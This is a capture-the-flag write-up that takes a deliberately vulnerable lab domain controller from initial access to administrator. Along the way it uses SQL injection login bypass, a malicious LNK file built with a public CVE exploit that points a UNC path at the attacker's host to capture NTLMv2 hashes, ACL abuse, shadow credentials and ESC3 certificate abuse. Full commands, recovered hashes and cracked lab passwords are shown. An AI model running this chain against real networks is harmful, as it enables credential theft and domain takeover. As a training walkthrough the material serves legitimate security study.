Overview

The machine starts by enumerating a domain controller running adcs that exposes a dev portal vulnerable to sql injection authentication bypass, uploading a malicious lnk abusing cve-2026-32202 to capture and crack mitch.r's ntlmv2 hash. Bloodhound reveals an acl chain of password resets, ownership changes and shadow credentials reaching svc_mssql whose access to a hidden mssql service leads to cracking bogdan.r who holds genericall over oscar.m, repaired logon hours grant a winrm foothold as oscar.m. A termination email uncovers the deleted ca manager sam.h which gets restored and shadow credentialed to abuse esc7 and esc3 on shadowgate-ca requesting a certificate on behalf of administrator to get shell as administrator

Enumeration

Start with nmap scan

Let's go through the results:

  • This is clearly an AD environment
  • There is ADCS in place with the CA Shadowgate-CA
  • Domain name is shadowgate.local and the FQDN SG-DC01.shadowgate.local
  • No clock skew

Now the environment is ready to go.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ echo '10.1.240.87 SG-DC01 shadowgate.local SG-DC01.shadowgate.local' | sudo tee -a /etc/hosts
10.1.240.87 SG-DC01 shadowgate.local SG-DC01.shadowgate.local
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nxc smb shadowgate.local -u Guest -p ''
SMB 10.1.240.87 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.240.87 445 SG-DC01 [-] shadowgate.local\Guest: STATUS_ACCOUNT_DISABLED
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ sudo nxc smb shadowgate.local -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.1.240.87 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.240.87 445 SG-DC01 [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.1.240.87 445 SG-DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.1.240.87 445 SG-DC01 [+] shadowgate.local\:

Redid a full scan again cause something seemed off about the first scan, usually there is DNS running on AD and some HTTP stuff some RPC so I had to make sure. So let's take a look.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nmap -p- 10.1.240.87 -oA fullscan -vv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-11 15:49 PDT
Initiating Ping Scan at 15:49
Scanning 10.1.240.87 [2 ports]
Completed Ping Scan at 15:49, 0.14s elapsed (1 total hosts)
Initiating Connect Scan at 15:49
Scanning SG-DC01 (10.1.240.87) [65535 ports]
Discovered open port 3389/tcp on 10.1.240.87
Discovered open port 139/tcp on 10.1.240.87
Discovered open port 135/tcp on 10.1.240.87
Discovered open port 53/tcp on 10.1.240.87
Discovered open port 80/tcp on 10.1.240.87
Discovered open port 445/tcp on 10.1.240.87
Discovered open port 49673/tcp on 10.1.240.87
Connect Scan Timing: About 5.01% done; ETC: 16:00 (0:09:47 remaining)
Connect Scan Timing: About 10.95% done; ETC: 16:01 (0:10:18 remaining)
Discovered open port 3268/tcp on 10.1.240.87

HTTP

And port 80 actually hosts a website so let's look what we can do. ss_20260811_160005.png

The only thing about that page was a form to submit either a job application or book a consultation which we can play with later. So I started looking for vhosts.

And the dev portal actually hosts a different website. ss_20260811_160745.png

There is also upload directory for this website so let's try to login.

SQLI Authentication Bypass

One thing I always try before drafting into bypassing techniques is just a simple LDAP injection but earlier, I saw this which was kinda weird and very specific specially that they listed all OWASP Top 10 but went too deep in the SQL injection so I assumed instead of LDAP they use SQL instead so let's see if we can do something about this. ss_20260811_161415.png

So testing the very basic SQL injection using the username mitch.r which was mentioned in the dev portal and we actually get logged in. ss_20260811_161833.png

And we can upload files, but we already knew that. Two notes we need to notice here are:

  1. Files are saved in both location note and synchronized ss_20260811_162029.png

  2. Before bypassing the login we also saw this note, that the files are transferred to the dev$ network share meaning it is probably done by a PowerShell script not a certain synchronization service. ss_20260811_162153.png

Access as mitch.r

Usually I would start uploading a lot of different files hoping to get one sending an NTLM auth back to auth that we can either relay or crack. But here we don't have to guess and we'll head directly to CVE-2026-32202 cause it is zero-click abusing LNK files which triggers Windows shell namespace parser to load a DLL from a remote UNC path stealing NTLMv2 hashes. Meaning it doesn't need any user to click anything, it just needs that path to be accessed by Windows shell so let's do that.

CVE-2026-32202

Using one of the public exploits we generate the file so let's start our Responder and upload the file.

Make sure to single quote your UNC path or escape each backslashes with another one

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2/CVE-2026-32202]
└──╼ [★]$ python3 CVE-2026-32202.py -u '\\10.200.80.188\share\doesnotmatter' -o secure.lnk
[+] LNK file created  : secure.lnk
    Total size : 282 bytes
    IDList size : 204 bytes
    Module path : \\10.200.80.188\share\doesnotmatter
    Applet ID : -201 (0xFFFFFF37)

_IDCONTROLW field layout:
  +0x00  cb         = 0x00AA  (170 bytes)
  +0x04  dwAppletID = 0xFFFFFF37  (-201)
  +0x0D  typeFlag   = 0x6A
  +0x14  cchModule  = 36
  +0x16  offName    = 36
  +0x18  data[]     = '\\\\10.200.80.188\\share\\doesnotmatter'  (UTF-16LE)

 < SNIP>

And right away we get the hash for mitch.r, let's try to crack and if it didn't work we just start relaying. ss_20260811_163009.png

And looks like mitch.r hates snitches so we got the password.

Validating the credentials.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nxc smb shadowgate.local -u mitch.r -p 'snitch1993'
SMB 10.1.240.87 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.240.87 445 SG-DC01 [+] shadowgate.local\mitch.r:snitch1993

No special shares, just the dev$ that got us here in the first place so let's collect for BloodHound.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nxc smb shadowgate.local -u mitch.r -p 'snitch1993' --shares
SMB 10.1.240.87 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.240.87 445 SG-DC01 [+] shadowgate.local\mitch.r:snitch1993
SMB 10.1.240.87 445 SG-DC01 [*] Enumerated shares
SMB 10.1.240.87 445 SG-DC01 Share Permissions Remark
SMB 10.1.240.87 445 SG-DC01 ----- ----------- ------
SMB 10.1.240.87 445 SG-DC01 ADMIN$ Remote Admin
SMB 10.1.240.87 445 SG-DC01 C$ Default share
SMB 10.1.240.87 445 SG-DC01 dev$ READ,WRITE
SMB 10.1.240.87 445 SG-DC01 IPC$ READ Remote IPC
SMB 10.1.240.87 445 SG-DC01 NETLOGON READ Logon server share
SMB 10.1.240.87 445 SG-DC01 SYSVOL READ Logon server share

BloodHound data

Collecting data.

And as you can see mitch got permission over 2 users. ss_20260811_165618.png

The important one is milo.w cause it got write owner over a service account which is SVC_MSSQL so let's start this chain. ss_20260811_165711.png

Access as milo.w

And now we have milo.w.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ bloodyAD --host 10.1.240.87 -d shadowgate.local -u mitch.r -p 'snitch1993' set password milo.w 'P@ssw0rd123!'
[+] Password changed successfully!

Access as SVC_MSSQL

And now we own the SVC_MSSQL meaning we can add whatever permission we need over that object to ourselves.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ bloodyAD --host 10.1.240.87 -d shadowgate.local -u milo.w -p 'P@ssw0rd123!' set owner SVC_MSSQL milo.w
[+] Old owner S-1-5-21-2396436576-3267128377-3646372360-512 is now replaced by milo.w on SVC_MSSQL

And now we have generic all over that user.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ bloodyAD --host 10.1.240.87 -d shadowgate.local -u milo.w -p 'P@ssw0rd123!' add genericAll SVC_MSSQL milo.w
[+] milo.w has now GenericAll on SVC_MSSQL

Then we can shadow credential it to get the hash for the svc_mssql just make sure to use LDAP cause LDAPS isn't open on the target.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ certipy shadow auto -u milo.w -p 'P@ssw0rd123!' -dc-ip 10.1.240.87 -account SVC_MSSQL -target 10.1.240.87 -ldap-scheme ldap
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'svc_mssql'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '63a7db7bd0f34659b030671548fe9531'
[*] Adding Key Credential with device ID '63a7db7bd0f34659b030671548fe9531' to the Key Credentials for 'svc_mssql'
[*] Successfully added Key Credential with device ID '63a7db7bd0f34659b030671548fe9531' to the Key Credentials for 'svc_mssql'
[*] Authenticating as 'svc_mssql' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'svc_mssql@shadowgate.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'svc_mssql.ccache'
[*] Wrote credential cache to 'svc_mssql.ccache'
[*] Trying to retrieve NT hash for 'svc_mssql'
[*] Restoring the old Key Credentials for 'svc_mssql'
[*] Successfully restored the old Key Credentials for 'svc_mssql'
[*] NT hash for 'svc_mssql': bdcadbe8fac2267adf85fdda00258779

Validating the credentials.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nxc smb shadowgate.local -u svc_mssql -H bdcadbe8fac2267adf85fdda00258779
SMB 10.1.240.87 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.240.87 445 SG-DC01 [+] shadowgate.local\svc_mssql:bdcadbe8fac2267adf85fdda00258779

After this there was nothing else clear to do, no other outbound objects or anything so I tried to do password spray using that hash maybe whoever set this account reused his own password (same hash) but didn't work.

NMAP missed MSSQL

At this point I spent a lot of time trying a lot of stuff, then I tried looking for port 1433 specifically cause there is a service account for it, and there was some kind of SQL running on the website and it was actually open. Somehow this didn't show at all in the full scan but I sensed that something is wrong so I went back and checked this port meaning we have access to MSSQL so let's connect.

Someone advised me to set the MTU to 1200 always when we're playing HackSmarter labs Same issue also happens with HTB where we have to set it to 1300 in some cases

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nmap -p 1433 -sC -sV shadowgate.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-11 17:45 PDT
Nmap scan report for shadowgate.local (10.1.240.87)
Host is up (0.15s latency).
rDNS record for 10.1.240.87: SG-DC01

PORT STATE SERVICE VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| _ssl-date: 2026-08-12T00:46:11+00:00; +1s from scanner time.
| _ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| _ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-11T22:42:26
| _Not valid after: 2056-08-11T22:42:26

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.50 seconds

MSSQL as svc_mssql

And we landed in as guest so low level access but it should be good enough.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ mssqlclient.py shadowgate.local/svc_mssql@sg-dc01.shadowgate.local -hashes :bdcadbe8fac2267adf85fdda00258779 -windows-auth
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SG-DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(SG-DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SHADOWGATE\svc_mssql guest@master)>

Listing impersonation tells that we can impersonate the user bogdan.r but I need first to see who is running this instance.

bash
SQL (SHADOWGATE\svc_mssql guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- -------------------- -------------------
LOGIN IMPERSONATE GRANT SHADOWGATE\svc_mssql SHADOWGATE\bogdan.r

Access as bogdan.r

And it is running as the same user we can impersonate, so it is better to try and crack the password if it cracked, it is easier to deal with it instead of running commands as impersonation all the time. ss_20260811_175205.png

And we got its password so let's see what it can do.

Bogdan.r has genericAll over the user oscar.m which is member of the Remote Management Users group so let's do that. ss_20260811_175455.png

Access as oscar.m

For some reason this user account is revoked (can't do shadow credentials probably some UAC) so let's just set a new password instead and test if it is actually UAC.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ certipy shadow auto -dc-ip 10.1.240.87 -dc-host sg-dc01.shadowgate.local -u bogdan.r -p bogdan0126 -account oscar.m -ldap-scheme ldap
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'oscar.m'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'be563f49d17d48aaaaf9dcd79a0bdea9'
[*] Adding Key Credential with device ID 'be563f49d17d48aaaaf9dcd79a0bdea9' to the Key Credentials for 'oscar.m'
[*] Successfully added Key Credential with device ID 'be563f49d17d48aaaaf9dcd79a0bdea9' to the Key Credentials for 'oscar.m'
[*] Authenticating as 'oscar.m' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'oscar.m@shadowgate.local'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
[*] Restoring the old Key Credentials for 'oscar.m'
[*] Successfully restored the old Key Credentials for 'oscar.m'
[*] NT hash for 'oscar.m': None

And as expected the account was locked out, that's why the PKINIT failed cause the client was revoked but we got generic all over it anyway so we can fix that login hours issue.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ bloodyAD --host 10.1.240.87 -d shadowgate.local -u bogdan.r -p bogdan0126 set password oscar.m Password123
[+] Password changed successfully!
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ nxc smb 10.1.240.87 -u oscar.m -p Password123
SMB 10.1.240.87 445 SG-DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.240.87 445 SG-DC01 [-] shadowgate.local\oscar.m:Password123 STATUS_INVALID_LOGON_HOURS

And well, the logon hours are empty meaning we aren't allowed to login, usually it would look like \xff meaning we are allowed to login at anytime so let's fix that.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ bloodyAD --host 10.1.240.87 -d shadowgate.local -u bogdan.r -p bogdan0126 get object oscar.m --attr logonHours --raw

distinguishedName: CN=oscar.m,CN=Users,DC=shadowgate,DC=local
logonHours:

Now the logon hours are fixed let's try that again.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ bloodyAD --host 10.1.240.87 -d shadowgate.local -u bogdan.r -p bogdan0126 set object oscar.m logonHours -v '////////////////////////////' --b64
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] oscar.m's logonHours has been updated

Just showing that the issue was logon hours, but we already changed the password so let's use it to login to WinRM.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ certipy shadow auto -dc-ip 10.1.240.87 -dc-host sg-dc01.shadowgate.local -u bogdan.r -p bogdan0126 -account oscar.m -ldap-scheme ldap
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'oscar.m'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '111433f509424d539c993a061ccd4774'
[*] Adding Key Credential with device ID '111433f509424d539c993a061ccd4774' to the Key Credentials for 'oscar.m'
[*] Successfully added Key Credential with device ID '111433f509424d539c993a061ccd4774' to the Key Credentials for 'oscar.m'
[*] Authenticating as 'oscar.m' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'oscar.m@shadowgate.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'oscar.m.ccache'
[*] Wrote credential cache to 'oscar.m.ccache'
[*] Trying to retrieve NT hash for 'oscar.m'
[*] Restoring the old Key Credentials for 'oscar.m'
[*] Successfully restored the old Key Credentials for 'oscar.m'
[*] NT hash for 'oscar.m': 58a478135a93ac3bf058a5ea0e8fdb71

And we got the user flag let's continue.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ evil-winrm -i 10.1.240.87 -u oscar.m -p Password123
Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\oscar.m\Documents> type ../Desktop/user.txt

FLAG[shadowgate_user_<BAD BAD BEHAVIOR>]
< SNIP>
*Evil-WinRM* PS C:\Users\oscar.m\Documents>

The user also is part of the Shadowgate IT Support group which I guess is powerful group so let's look around.

Access as sam.h

In the Mails folder we get this: SamH used to manage the CA but he resigned and his account is supposed to be deleted from the system, which I already noticed earlier but couldn't understand cause when I looked for vulnerable templates there was 1114 RID but the RID had only 1113 and 1115 which was odd but couldn't investigate more so now we have a reason.

The user already got deleted as we expected.

So my guess is if we restore it we'll have some kind of access over it cause we are part of the IT group so let's check that.

We got Generic All over it as Shadowgate-IT-Support so let's restore it.

Restore Deleted Object Sam.H

And sam.h is back so let's abuse that GenericAll we have over it.

bash
*Evil-WinRM* PS C:\Users\oscar.m\Mails> Restore-ADObject -Identity "CN=sam.h\0ADEL:c9316c03-4a09-4d46-9db0-f45925e154f1,CN=Deleted Objects,DC=shadowgate,DC=local"
*Evil-WinRM* PS C:\Users\oscar.m\Mails> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator bogdan.r daniel.r
Guest krbtgt milo.w
mitch.r                  oscar.m                  ryan.j
sam.h svc_mssql
The command completed with one or more errors.

*Evil-WinRM* PS C:\Users\oscar.m\Mails>

And we got its hash so let's shadow credential it again.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ certipy shadow auto -dc-ip 10.1.240.87 -dc-host sg-dc01.shadowgate.local -u oscar.m -p Password123 -account sam.h -ldap-scheme ldap
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'sam.h'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '5224a68c3e4441f79b4da9fd6310ef52'
[*] Adding Key Credential with device ID '5224a68c3e4441f79b4da9fd6310ef52' to the Key Credentials for 'sam.h'
[*] Successfully added Key Credential with device ID '5224a68c3e4441f79b4da9fd6310ef52' to the Key Credentials for 'sam.h'
[*] Authenticating as 'sam.h' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'sam.h@shadowgate.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'sam.h.ccache'
[*] Wrote credential cache to 'sam.h.ccache'
[*] Trying to retrieve NT hash for 'sam.h'
[*] Restoring the old Key Credentials for 'sam.h'
[*] Successfully restored the old Key Credentials for 'sam.h'
[*] NT hash for 'sam.h': bdcadbe8fac2267adf85fdda00258779

And now we can read stuff out of the CA.

ESC3 to administrator

What is ESC3? In legitimate PKI design, enrollment agent certificate exists for scenarios like smart card issuance where an IT staffer enrolls for one of these and it lets them request certificates on behalf of other users without needing those users' credentials or approval so in this case it isn't limited to IT-staffer but it also included the low priv user sam.h so we can abuse that to get a certificate for high privilege target.

Abusing ESC3 we will enroll a certificate for the user sam.h and then use this pfx file to request a certificate on behalf of other high-value target like administrator in this case.

And as you can see we got the root flag.

bash
┌─[vpn.coursestack.com 10.200.80.188]─[jimmex@attacker]─[~/hacksmarter/shadowgate2]
└──╼ [★]$ evil-winrm -i 10.1.240.87 -u administrator -H a07b7bbc98b574afe52bbeb5d07d9c0a
Ignoring nokogiri-1.18.2 because its extensions are not built. Try: gem pristine nokogiri --version 1.18.2
Ignoring racc-1.7.3 because its extensions are not built. Try: gem pristine racc --version 1.7.3
Ignoring rbs-3.4.0 because its extensions are not built. Try: gem pristine rbs --version 3.4.0
Ignoring sdbm-1.0.0 because its extensions are not built. Try: gem pristine sdbm --version 1.0.0
Ignoring sqlite3-1.7.3 because its extensions are not built. Try: gem pristine sqlite3 --version 1.7.3
Ignoring thin-1.8.2 because its extensions are not built. Try: gem pristine thin --version 1.8.2

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt

FLAG[SamH_Tombstone_Recor<LOOK THE OTHER WAY DUDE>]
< SNIP>

WEIRD BEHAVIOR

Checked ahos writeup right after the box mentioning the silver ticket technique which I thought of during the box but when I checked out the service account managing the MSSQL it wasn't the bogdan.r. And to my knowledge it doesn't matter who is running the service (started it or it is running in its context), what matters is the hash that the TGS to this service will be encrypted with which is the account the SPN is registered to which is administrator in this case but let's test it maybe there is something I am missing or the author patched things up right after.

bash
*Evil-WinRM* PS C:\Users\Administrator\Documents> setspn -Q MSSQLSvc/sg-dc01.shadowgate.local:1433
Checking domain DC=shadowgate,DC=local
CN=Administrator,CN=Users,DC=shadowgate,DC=local
        MSSQLSvc/SG-DC01.shadowgate.local:1433
        MSSQLSvc/SG-DC01.shadowgate.local:SQLEXPRESS

Existing SPN found!

But somehow it worked! When it isn't supposed to I guess.

None of this makes any sense.

bash
*Evil-WinRM* PS C:\Users\Administrator\Documents> setspn -L bogdan.r
Registered ServicePrincipalNames for CN=Bogdan Radzik,CN=Users,DC=shadowgate,DC=local:
*Evil-WinRM* PS C:\Users\Administrator\Documents>

What's even more funny that it doesn't work with administrator so I am sure there is something wrong here.

So long story short this is misconfiguration, the account that runs the service should be the same account registered in the SPN list but the issue is they can be different and it'll be just a misconfiguration but the weird is the service shouldn't be able to decrypt the ticket using bogdan.r cause it is supposed to use the hash of whoever has this SPN registered to it which drives me insane.

Reached out to some fellows and no one could understand what's going on and it didn't make any sense to any of us so reach out if you can.

Anyway, that was it for this box.

Path

Pasted image 20260821202218.png

Resources